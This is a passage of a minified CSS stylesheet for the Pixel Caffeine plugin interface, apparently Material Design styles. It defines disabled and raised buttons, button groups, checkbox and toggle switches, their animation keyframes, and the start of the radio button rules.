.input-group-btn .btn.btn-raised.active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:focus:not(:active), fieldset[disabled][disabled] .pixel-caffeine-wrapper .input-group-btn .btn.btn-group-raised, fieldset[disabled][disabled] .pixel-caffeine-wrapper .input-group-btn .btn.btn-group-raised.active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .input-group-btn .btn.btn-group-raised:active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .input-group-btn .btn.btn-group-raised:focus:not(:active), .pixel-caffeine-wrapper .input-group-btn .btn.disabled.btn-raised, .pixel-caffeine-wrapper .input-group-btn .btn.disabled.btn-raised.active, .pixel-caffeine-wrapper .input-group-btn .btn.disabled.btn-raised:active, .pixel-caffeine-wrapper .input-group-btn .btn.disabled.btn-raised:focus:not(:active), .pixel-caffeine-wrapper .input-group-btn .btn.disabled.btn-group-raised, .pixel-caffeine-wrapper .input-group-btn .btn.disabled.btn-group-raised.active, .pixel-caffeine-wrapper .input-group-btn .btn.disabled.btn-group-raised:active, .pixel-caffeine-wrapper .input-group-btn .btn.disabled.btn-group-raised:focus:not(:active), .pixel-caffeine-wrapper .input-group-btn .btn:disabled.btn-raised, .pixel-caffeine-wrapper .input-group-btn .btn:disabled.btn-raised.active, .pixel-caffeine-wrapper .input-group-btn .btn:disabled.btn-raised:active, .pixel-caffeine-wrapper .input-group-btn .btn:disabled.btn-raised:focus:not(:active), .pixel-caffeine-wrapper .input-group-btn .btn:disabled.btn-group-raised, .pixel-caffeine-wrapper .input-group-btn .btn:disabled.btn-group-raised.active, .pixel-caffeine-wrapper .input-group-btn .btn:disabled.btn-group-raised:active, .pixel-caffeine-wrapper .input-group-btn .btn:disabled.btn-group-raised:focus:not(:active), .pixel-caffeine-wrapper .input-group-btn .btn[disabled][disabled].btn-raised, .pixel-caffeine-wrapper .input-group-btn .btn[disabled][disabled].btn-raised.active, .pixel-caffeine-wrapper .input-group-btn .btn[disabled][disabled].btn-raised:active, .pixel-caffeine-wrapper .input-group-btn .btn[disabled][disabled].btn-raised:focus:not(:active), .pixel-caffeine-wrapper .input-group-btn .btn[disabled][disabled].btn-group-raised, .pixel-caffeine-wrapper .input-group-btn .btn[disabled][disabled].btn-group-raised.active, .pixel-caffeine-wrapper .input-group-btn .btn[disabled][disabled].btn-group-raised:active, .pixel-caffeine-wrapper .input-group-btn .btn[disabled][disabled].btn-group-raised:focus:not(:active), fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group.btn-raised, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group.btn-raised.active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group.btn-raised:active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group.btn-raised:focus:not(:active), fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group.btn-group-raised, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group.btn-group-raised.active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group.btn-group-raised:active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group.btn-group-raised:focus:not(:active), .pixel-caffeine-wrapper .btn-group.disabled.btn-raised, .pixel-caffeine-wrapper .btn-group.disabled.btn-raised.active, .pixel-caffeine-wrapper .btn-group.disabled.btn-raised:active, .pixel-caffeine-wrapper .btn-group.disabled.btn-raised:focus:not(:active), .pixel-caffeine-wrapper .btn-group.disabled.btn-group-raised, .pixel-caffeine-wrapper .btn-group.disabled.btn-group-raised.active, .pixel-caffeine-wrapper .btn-group.disabled.btn-group-raised:active, .pixel-caffeine-wrapper .btn-group.disabled.btn-group-raised:focus:not(:active), .pixel-caffeine-wrapper .btn-group:disabled.btn-raised, .pixel-caffeine-wrapper .btn-group:disabled.btn-raised.active, .pixel-caffeine-wrapper .btn-group:disabled.btn-raised:active, .pixel-caffeine-wrapper .btn-group:disabled.btn-raised:focus:not(:active), .pixel-caffeine-wrapper .btn-group:disabled.btn-group-raised, .pixel-caffeine-wrapper .btn-group:disabled.btn-group-raised.active, .pixel-caffeine-wrapper .btn-group:disabled.btn-group-raised:active, .pixel-caffeine-wrapper .btn-group:disabled.btn-group-raised:focus:not(:active), .pixel-caffeine-wrapper .btn-group[disabled][disabled].btn-raised, .pixel-caffeine-wrapper .btn-group[disabled][disabled].btn-raised.active, .pixel-caffeine-wrapper .btn-group[disabled][disabled].btn-raised:active, .pixel-caffeine-wrapper .btn-group[disabled][disabled].btn-raised:focus:not(:active), .pixel-caffeine-wrapper .btn-group[disabled][disabled].btn-group-raised, .pixel-caffeine-wrapper .btn-group[disabled][disabled].btn-group-raised.active, .pixel-caffeine-wrapper .btn-group[disabled][disabled].btn-group-raised:active, .pixel-caffeine-wrapper .btn-group[disabled][disabled].btn-group-raised:focus:not(:active), fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group-vertical.btn-raised, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group-vertical.btn-raised.active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group-vertical.btn-raised:active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group-vertical.btn-raised:focus:not(:active), fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group-vertical.btn-group-raised, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group-vertical.btn-group-raised.active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group-vertical.btn-group-raised:active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group-vertical.btn-group-raised:focus:not(:active), .pixel-caffeine-wrapper .btn-group-vertical.disabled.btn-raised, .pixel-caffeine-wrapper .btn-group-vertical.disabled.btn-raised.active, .pixel-caffeine-wrapper .btn-group-vertical.disabled.btn-raised:active, .pixel-caffeine-wrapper .btn-group-vertical.disabled.btn-raised:focus:not(:active), .pixel-caffeine-wrapper .btn-group-vertical.disabled.btn-group-raised, .pixel-caffeine-wrapper .btn-group-vertical.disabled.btn-group-raised.active, .pixel-caffeine-wrapper .btn-group-vertical.disabled.btn-group-raised:active, .pixel-caffeine-wrapper .btn-group-vertical.disabled.btn-group-raised:focus:not(:active), .pixel-caffeine-wrapper .btn-group-vertical:disabled.btn-raised, .pixel-caffeine-wrapper .btn-group-vertical:disabled.btn-raised.active, .pixel-caffeine-wrapper .btn-group-vertical:disabled.btn-raised:active, .pixel-caffeine-wrapper .btn-group-vertical:disabled.btn-raised:focus:not(:active), .pixel-caffeine-wrapper .btn-group-vertical:disabled.btn-group-raised, .pixel-caffeine-wrapper .btn-group-vertical:disabled.btn-group-raised.active, .pixel-caffeine-wrapper .btn-group-vertical:disabled.btn-group-raised:active, .pixel-caffeine-wrapper .btn-group-vertical:disabled.btn-group-raised:focus:not(:active), .pixel-caffeine-wrapper .btn-group-vertical[disabled][disabled].btn-raised, .pixel-caffeine-wrapper .btn-group-vertical[disabled][disabled].btn-raised.active, .pixel-caffeine-wrapper .btn-group-vertical[disabled][disabled].btn-raised:active, .pixel-caffeine-wrapper .btn-group-vertical[disabled][disabled].btn-raised:focus:not(:active), .pixel-caffeine-wrapper .btn-group-vertical[disabled][disabled].btn-group-raised, .pixel-caffeine-wrapper .btn-group-vertical[disabled][disabled].btn-group-raised.active, .pixel-caffeine-wrapper .btn-group-vertical[disabled][disabled].btn-group-raised:active, .pixel-caffeine-wrapper .btn-group-vertical[disabled][disabled].btn-group-raised:focus:not(:active) { -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .btn-group, .pixel-caffeine-wrapper .btn-group-vertical { position: relative; margin: 10px 1px; } .pixel-caffeine-wrapper .btn-group.open > .dropdown-toggle.btn, .pixel-caffeine-wrapper .btn-group.open > .dropdown-toggle.btn.btn-default, .pixel-caffeine-wrapper .btn-group-vertical.open > .dropdown-toggle.btn, .pixel-caffeine-wrapper .btn-group-vertical.open > .dropdown-toggle.btn.btn-default { background-color: transparent; } .pixel-caffeine-wrapper .btn-group.open > .dropdown-toggle.btn.btn-inverse, .pixel-caffeine-wrapper .btn-group-vertical.open > .dropdown-toggle.btn.btn-inverse { background-color: #3f51b5; } .pixel-caffeine-wrapper .btn-group.open > .dropdown-toggle.btn.btn-primary, .pixel-caffeine-wrapper .btn-group-vertical.open > .dropdown-toggle.btn.btn-primary { background-color: #4C70BA; } .pixel-caffeine-wrapper .btn-group.open > .dropdown-toggle.btn.btn-success, .pixel-caffeine-wrapper .btn-group-vertical.open > .dropdown-toggle.btn.btn-success { background-color: #68AA20; } .pixel-caffeine-wrapper .btn-group.open > .dropdown-toggle.btn.btn-info, .pixel-caffeine-wrapper .btn-group-vertical.open > .dropdown-toggle.btn.btn-info { background-color: #5bc0de; } .pixel-caffeine-wrapper .btn-group.open > .dropdown-toggle.btn.btn-warning, .pixel-caffeine-wrapper .btn-group-vertical.open > .dropdown-toggle.btn.btn-warning { background-color: #FD9C00; } .pixel-caffeine-wrapper .btn-group.open > .dropdown-toggle.btn.btn-danger, .pixel-caffeine-wrapper .btn-group-vertical.open > .dropdown-toggle.btn.btn-danger { background-color: #E15667; } .pixel-caffeine-wrapper .btn-group .dropdown-menu, .pixel-caffeine-wrapper .btn-group-vertical .dropdown-menu { border-radius: 0 0 4px 4px; } .pixel-caffeine-wrapper .btn-group.btn-group-raised, .pixel-caffeine-wrapper .btn-group-vertical.btn-group-raised { -webkit-box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 1px 5px 0 rgba(0, 0, 0, 0.12); box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 1px 5px 0 rgba(0, 0, 0, 0.12); } .pixel-caffeine-wrapper .btn-group .btn + .btn, .pixel-caffeine-wrapper .btn-group .btn, .pixel-caffeine-wrapper .btn-group .btn:active, .pixel-caffeine-wrapper .btn-group .btn-group, .pixel-caffeine-wrapper .btn-group-vertical .btn + .btn, .pixel-caffeine-wrapper .btn-group-vertical .btn, .pixel-caffeine-wrapper .btn-group-vertical .btn:active, .pixel-caffeine-wrapper .btn-group-vertical .btn-group { margin: 0; } .pixel-caffeine-wrapper .checkbox label, .pixel-caffeine-wrapper label.checkbox-inline { cursor: pointer; padding-left: 0; color: rgba(0,0,0, 0.26); } .form-group.is-focused .pixel-caffeine-wrapper .checkbox label, .form-group.is-focused .pixel-caffeine-wrapper label.checkbox-inline { color: rgba(0,0,0, 0.26); } .form-group.is-focused .pixel-caffeine-wrapper .checkbox label:hover, .form-group.is-focused .pixel-caffeine-wrapper .checkbox label:focus, .form-group.is-focused .pixel-caffeine-wrapper label.checkbox-inline:hover, .form-group.is-focused .pixel-caffeine-wrapper label.checkbox-inline:focus { color: rgba(0,0,0, .54); } fieldset[disabled] .form-group.is-focused .pixel-caffeine-wrapper .checkbox label, fieldset[disabled] .form-group.is-focused .pixel-caffeine-wrapper label.checkbox-inline { color: rgba(0,0,0, 0.26); } .pixel-caffeine-wrapper .checkbox input[type=checkbox], .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox] { opacity: 0; position: absolute; margin: 0; z-index: -1; width: 0; height: 0; overflow: hidden; left: 0; pointer-events: none; } .pixel-caffeine-wrapper .checkbox .checkbox-material, .pixel-caffeine-wrapper label.checkbox-inline .checkbox-material { vertical-align: middle; position: relative; top: 3px; } .pixel-caffeine-wrapper .checkbox .checkbox-material:before, .pixel-caffeine-wrapper label.checkbox-inline .checkbox-material:before { display: block; position: absolute; top: -5px; left: 0; content: ""; background-color: rgba(0, 0, 0, 0.84); height: 20px; width: 20px; border-radius: 100%; z-index: 1; opacity: 0; margin: 0; -webkit-transform: scale3d(2.3, 2.3, 1); transform: scale3d(2.3, 2.3, 1); } .pixel-caffeine-wrapper .checkbox .checkbox-material .check, .pixel-caffeine-wrapper label.checkbox-inline .checkbox-material .check { position: relative; display: inline-block; width: 20px; height: 20px; border: 2px solid rgba(0,0,0, .54); border-radius: 4px; overflow: hidden; z-index: 1; } .pixel-caffeine-wrapper .checkbox .checkbox-material .check:before, .pixel-caffeine-wrapper label.checkbox-inline .checkbox-material .check:before { position: absolute; content: ""; -webkit-transform: rotate(45deg); -o-transform: rotate(45deg); transform: rotate(45deg); display: block; margin-top: -4px; margin-left: 6px; width: 0; height: 0; -webkit-box-shadow: 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0 inset; box-shadow: 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0 inset; } .pixel-caffeine-wrapper .checkbox input[type=checkbox]:focus + .checkbox-material .check:after, .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox]:focus + .checkbox-material .check:after { opacity: 0.2; } .pixel-caffeine-wrapper .checkbox input[type=checkbox]:focus:checked + .checkbox-material:before, .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox]:focus:checked + .checkbox-material:before { -webkit-animation: rippleOn 500ms; -o-animation: rippleOn 500ms; animation: rippleOn 500ms; } .pixel-caffeine-wrapper .checkbox input[type=checkbox]:focus:checked + .checkbox-material .check:before, .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox]:focus:checked + .checkbox-material .check:before { -webkit-animation: checkbox-on 0.3s forwards; -o-animation: checkbox-on 0.3s forwards; animation: checkbox-on 0.3s forwards; } .pixel-caffeine-wrapper .checkbox input[type=checkbox]:focus:checked + .checkbox-material .check:after, .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox]:focus:checked + .checkbox-material .check:after { -webkit-animation: rippleOn 500ms forwards; -o-animation: rippleOn 500ms forwards; animation: rippleOn 500ms forwards; } .pixel-caffeine-wrapper .checkbox input[type=checkbox]:focus:not(:checked) + .checkbox-material:before, .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox]:focus:not(:checked) + .checkbox-material:before { -webkit-animation: rippleOff 500ms; -o-animation: rippleOff 500ms; animation: rippleOff 500ms; } .pixel-caffeine-wrapper .checkbox input[type=checkbox]:focus:not(:checked) + .checkbox-material .check:before, .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox]:focus:not(:checked) + .checkbox-material .check:before { -webkit-animation: checkbox-off 0.3s forwards; -o-animation: checkbox-off 0.3s forwards; animation: checkbox-off 0.3s forwards; } .pixel-caffeine-wrapper .checkbox input[type=checkbox]:focus:not(:checked) + .checkbox-material .check:after, .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox]:focus:not(:checked) + .checkbox-material .check:after { -webkit-animation: rippleOff 500ms forwards; -o-animation: rippleOff 500ms forwards; animation: rippleOff 500ms forwards; } .pixel-caffeine-wrapper .checkbox input[type=checkbox]:checked + .checkbox-material .check, .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox]:checked + .checkbox-material .check { color: #4C70BA; border-color: #4C70BA; } .pixel-caffeine-wrapper .checkbox input[type=checkbox]:checked + .checkbox-material .check:before, .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox]:checked + .checkbox-material .check:before { color: #4C70BA; -webkit-box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px; } fieldset[disabled] .pixel-caffeine-wrapper .checkbox, fieldset[disabled] .pixel-caffeine-wrapper .checkbox input[type=checkbox], .pixel-caffeine-wrapper .checkbox input[type=checkbox][disabled]:not(:checked) ~ .checkbox-material .check:before, .pixel-caffeine-wrapper .checkbox input[type=checkbox][disabled]:not(:checked) ~ .checkbox-material .check, .pixel-caffeine-wrapper .checkbox input[type=checkbox][disabled] + .circle, fieldset[disabled] .pixel-caffeine-wrapper label.checkbox-inline, fieldset[disabled] .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox], .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox][disabled]:not(:checked) ~ .checkbox-material .check:before, .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox][disabled]:not(:checked) ~ .checkbox-material .check, .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox][disabled] + .circle { opacity: 0.5; } .pixel-caffeine-wrapper .checkbox input[type=checkbox][disabled] + .checkbox-material .check:after, .pixel-caffeine-wrapper label.checkbox-inline input[type=checkbox][disabled] + .checkbox-material .check:after { background-color: rgba(0,0,0, 0.87); -webkit-transform: rotate(-45deg); -o-transform: rotate(-45deg); transform: rotate(-45deg); } @-webkit-keyframes checkbox-on { 0% { -webkit-box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 15px 2px 0 11px; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 15px 2px 0 11px; } 50% { -webkit-box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px 2px 0 11px; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px 2px 0 11px; } 100% { -webkit-box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px; } } @-o-keyframes checkbox-on { 0% { box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 15px 2px 0 11px; } 50% { box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px 2px 0 11px; } 100% { box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px; } } @keyframes checkbox-on { 0% { -webkit-box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 15px 2px 0 11px; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 15px 2px 0 11px; } 50% { -webkit-box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px 2px 0 11px; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px 2px 0 11px; } 100% { -webkit-box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px; } } @-webkit-keyframes checkbox-off { 0% { -webkit-box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px, 0 0 0 0 inset; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px, 0 0 0 0 inset; } 25% { -webkit-box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px, 0 0 0 0 inset; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px, 0 0 0 0 inset; } 50% { -webkit-transform: rotate(45deg); transform: rotate(45deg); margin-top: -4px; margin-left: 6px; width: 0; height: 0; -webkit-box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 15px 2px 0 11px, 0 0 0 0 inset; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 15px 2px 0 11px, 0 0 0 0 inset; } 51% { -webkit-transform: rotate(0deg); transform: rotate(0deg); margin-top: -2px; margin-left: -2px; width: 20px; height: 20px; -webkit-box-shadow: 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0px 0 0 10px inset; box-shadow: 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0px 0 0 10px inset; } 100% { -webkit-transform: rotate(0deg); transform: rotate(0deg); margin-top: -2px; margin-left: -2px; width: 20px; height: 20px; -webkit-box-shadow: 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0px 0 0 0 inset; box-shadow: 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0px 0 0 0 inset; } } @-o-keyframes checkbox-off { 0% { box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px, 0 0 0 0 inset; } 25% { box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px, 0 0 0 0 inset; } 50% { -o-transform: rotate(45deg); transform: rotate(45deg); margin-top: -4px; margin-left: 6px; width: 0; height: 0; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 15px 2px 0 11px, 0 0 0 0 inset; } 51% { -o-transform: rotate(0deg); transform: rotate(0deg); margin-top: -2px; margin-left: -2px; width: 20px; height: 20px; box-shadow: 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0px 0 0 10px inset; } 100% { -o-transform: rotate(0deg); transform: rotate(0deg); margin-top: -2px; margin-left: -2px; width: 20px; height: 20px; box-shadow: 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0px 0 0 0 inset; } } @keyframes checkbox-off { 0% { -webkit-box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px, 0 0 0 0 inset; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px, 0 0 0 0 inset; } 25% { -webkit-box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px, 0 0 0 0 inset; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 20px -12px 0 11px, 0 0 0 0 inset; } 50% { -webkit-transform: rotate(45deg); -o-transform: rotate(45deg); transform: rotate(45deg); margin-top: -4px; margin-left: 6px; width: 0; height: 0; -webkit-box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 15px 2px 0 11px, 0 0 0 0 inset; box-shadow: 0 0 0 10px, 10px -10px 0 10px, 32px 0 0 20px, 0px 32px 0 20px, -5px 5px 0 10px, 15px 2px 0 11px, 0 0 0 0 inset; } 51% { -webkit-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); margin-top: -2px; margin-left: -2px; width: 20px; height: 20px; -webkit-box-shadow: 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0px 0 0 10px inset; box-shadow: 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0px 0 0 10px inset; } 100% { -webkit-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); margin-top: -2px; margin-left: -2px; width: 20px; height: 20px; -webkit-box-shadow: 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0px 0 0 0 inset; box-shadow: 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0 0 0 0, 0px 0 0 0 inset; } } @-webkit-keyframes rippleOn { 0% { opacity: 0; } 50% { opacity: 0.2; } 100% { opacity: 0; } } @-o-keyframes rippleOn { 0% { opacity: 0; } 50% { opacity: 0.2; } 100% { opacity: 0; } } @keyframes rippleOn { 0% { opacity: 0; } 50% { opacity: 0.2; } 100% { opacity: 0; } } @-webkit-keyframes rippleOff { 0% { opacity: 0; } 50% { opacity: 0.2; } 100% { opacity: 0; } } @-o-keyframes rippleOff { 0% { opacity: 0; } 50% { opacity: 0.2; } 100% { opacity: 0; } } @keyframes rippleOff { 0% { opacity: 0; } 50% { opacity: 0.2; } 100% { opacity: 0; } } .pixel-caffeine-wrapper .togglebutton { vertical-align: middle; } .pixel-caffeine-wrapper .togglebutton, .pixel-caffeine-wrapper .togglebutton label, .pixel-caffeine-wrapper .togglebutton input, .pixel-caffeine-wrapper .togglebutton .toggle { -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .pixel-caffeine-wrapper .togglebutton label { cursor: pointer; color: rgba(0,0,0, 0.26); } .form-group.is-focused .pixel-caffeine-wrapper .togglebutton label { color: rgba(0,0,0, 0.26); } .form-group.is-focused .pixel-caffeine-wrapper .togglebutton label:hover, .form-group.is-focused .pixel-caffeine-wrapper .togglebutton label:focus { color: rgba(0,0,0, .54); } fieldset[disabled] .form-group.is-focused .pixel-caffeine-wrapper .togglebutton label { color: rgba(0,0,0, 0.26); } .pixel-caffeine-wrapper .togglebutton label input[type=checkbox] { opacity: 0; width: 0; height: 0; } .pixel-caffeine-wrapper .togglebutton label .toggle { text-align: left; } .pixel-caffeine-wrapper .togglebutton label .toggle, .pixel-caffeine-wrapper .togglebutton label input[type=checkbox][disabled] + .toggle { content: ""; display: inline-block; width: 30px; height: 15px; background-color: rgba(80, 80, 80, 0.7); border-radius: 15px; margin-right: 15px; -webkit-transition: background 0.3s ease; -o-transition: background 0.3s ease; transition: background 0.3s ease; vertical-align: middle; } .pixel-caffeine-wrapper .togglebutton label .toggle:after { content: ""; display: inline-block; width: 20px; height: 20px; background-color: #F1F1F1; border-radius: 20px; position: relative; -webkit-box-shadow: 0 1px 3px 1px rgba(0, 0, 0, 0.4); box-shadow: 0 1px 3px 1px rgba(0, 0, 0, 0.4); left: -5px; top: -2px; -webkit-transition: left 0.3s ease, background 0.3s ease, -webkit-box-shadow 0.1s ease; transition: left 0.3s ease, background 0.3s ease, -webkit-box-shadow 0.1s ease; -o-transition: left 0.3s ease, background 0.3s ease, box-shadow 0.1s ease; transition: left 0.3s ease, background 0.3s ease, box-shadow 0.1s ease; transition: left 0.3s ease, background 0.3s ease, box-shadow 0.1s ease, -webkit-box-shadow 0.1s ease; } .pixel-caffeine-wrapper .togglebutton label input[type=checkbox][disabled] + .toggle:after, .pixel-caffeine-wrapper .togglebutton label input[type=checkbox][disabled]:checked + .toggle:after { background-color: #BDBDBD; } .pixel-caffeine-wrapper .togglebutton label input[type=checkbox] + .toggle:active:after, .pixel-caffeine-wrapper .togglebutton label input[type=checkbox][disabled] + .toggle:active:after { -webkit-box-shadow: 0 1px 3px 1px rgba(0, 0, 0, 0.4), 0 0 0 15px rgba(0, 0, 0, 0.1); box-shadow: 0 1px 3px 1px rgba(0, 0, 0, 0.4), 0 0 0 15px rgba(0, 0, 0, 0.1); } .pixel-caffeine-wrapper .togglebutton label input[type=checkbox]:checked + .toggle:after { left: 15px; } .pixel-caffeine-wrapper .togglebutton label input[type=checkbox]:checked + .toggle { background-color: rgba(76, 112, 186, 0.5); } .pixel-caffeine-wrapper .togglebutton label input[type=checkbox]:checked + .toggle:after { background-color: #4C70BA; } .pixel-caffeine-wrapper .togglebutton label input[type=checkbox]:checked + .toggle:active:after { -webkit-box-shadow: 0 1px 3px 1px rgba(0, 0, 0, 0.4), 0 0 0 15px rgba(76, 112, 186, 0.1); box-shadow: 0 1px 3px 1px rgba(0, 0, 0, 0.4), 0 0 0 15px rgba(76, 112, 186, 0.1); } .pixel-caffeine-wrapper .radio label, .pixel-caffeine-wrapper label.radio-inline { cursor: pointer; padding-left: 45px; position: relative; color: rgba(0,0,0, 0.26); } .form-group.is-focused .pixel-caffeine-wrapper .radio label, .form-group.is-focused .pixel-caffeine-wrapper label.radio-inline { color: rgba(0,0,0, 0.26); } .form-group.is-focused .pixel-caffeine-wrapper .radio label:hover, .form-group.is-focused .pixel-caffeine-wrapper .radio label:focus, .form-group.is-focused .pixel-caffeine-wrapper label.radio-inline:hover, .form-group.is-focused .pixel-caffeine-wrapper label.radio-inline:focus { color: rgba(0,0,0, .54); } fieldset[disabled] .form-group.is-focused .pixel-caffeine-wrapper .radio label, fieldset[disabled] .form-group.is-focused .pixel-caffeine-wrapper label.radio-inline { color: rgba(0,0,0, 0.26); } .pixel-caffeine-wrapper .radio span, .pixel-caffeine-wrapper label.radio-inline span { display: block; position: absolute; left: 10px; top: 2px; -webkit-transition-duration: 0.2s; -o-transition-duration: 0.2s; transition-duration: 0.2s; } .pixel-caffeine-wrapper .radio .circle, .pixel-caffeine-wrapper label.radio-inline .circle { border: 2px solid rgba(0,0,0, .54); height: 15px; width: 15px; 